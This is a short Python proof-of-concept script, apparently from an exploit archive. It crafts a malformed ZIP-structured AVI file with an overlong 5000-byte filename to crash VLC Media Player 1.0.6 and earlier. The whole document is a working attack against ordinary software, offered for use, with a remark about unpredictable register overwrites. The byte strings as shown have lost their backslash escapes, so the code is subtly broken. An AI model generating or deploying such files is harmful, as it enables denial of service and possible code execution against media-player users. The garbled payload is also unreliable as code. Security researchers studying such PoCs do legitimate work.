#!/usr/bin/python

######################################################################################################
#
# VLC Media Player <=1.0.6 Malformed Media File Crash PoC
# Found By: Dr_IDE
# Tested:   Windows 7, Ubuntu 9, OSX 10.6.X
# Download: http://www.videolan.org
# Notes:	Register overwrites seem very unpredictable at best...
# Greets:	Offsec and Corelan Teams
#
######################################################################################################
 
ldf_header = ("x50x4Bx03x04x14x00x00x00x00x00xB7xACxCEx34x00x00x00"
"x00x00x00x00x00x00x00x00xe4x0fx00x00x00")
 
cdf_header = ("x50x4Bx01x02x14x00x14x00x00x00x00x00xB7xACxCEx34x00x00x00"
"x00x00x00x00x00x00x00x00x00xe4x0fx00x00x00x00x00x00x01x00x24x00x00"
"x00x00x00x00x00")
 
eofcdf_header = ("x50x4Bx05x06x00x00x00x00x01x00x01x00"
"x12x10x00x00x02x10x00x00x00x00")
 
filename = "VLC_Doesnt_Like_Videos_That_Are_Really_Zip_Files.AVI"
 
exploit = filename
exploit += "x41" * 5000
 
print "[+] Writing file"

file = open('boom.avi','w'); #Anything here works, mpg, mp4, asf, mov etc...
file.write(ldf_header + exploit + cdf_header + exploit + eofcdf_header);
file.close()

print "[+] Exploit file created!!"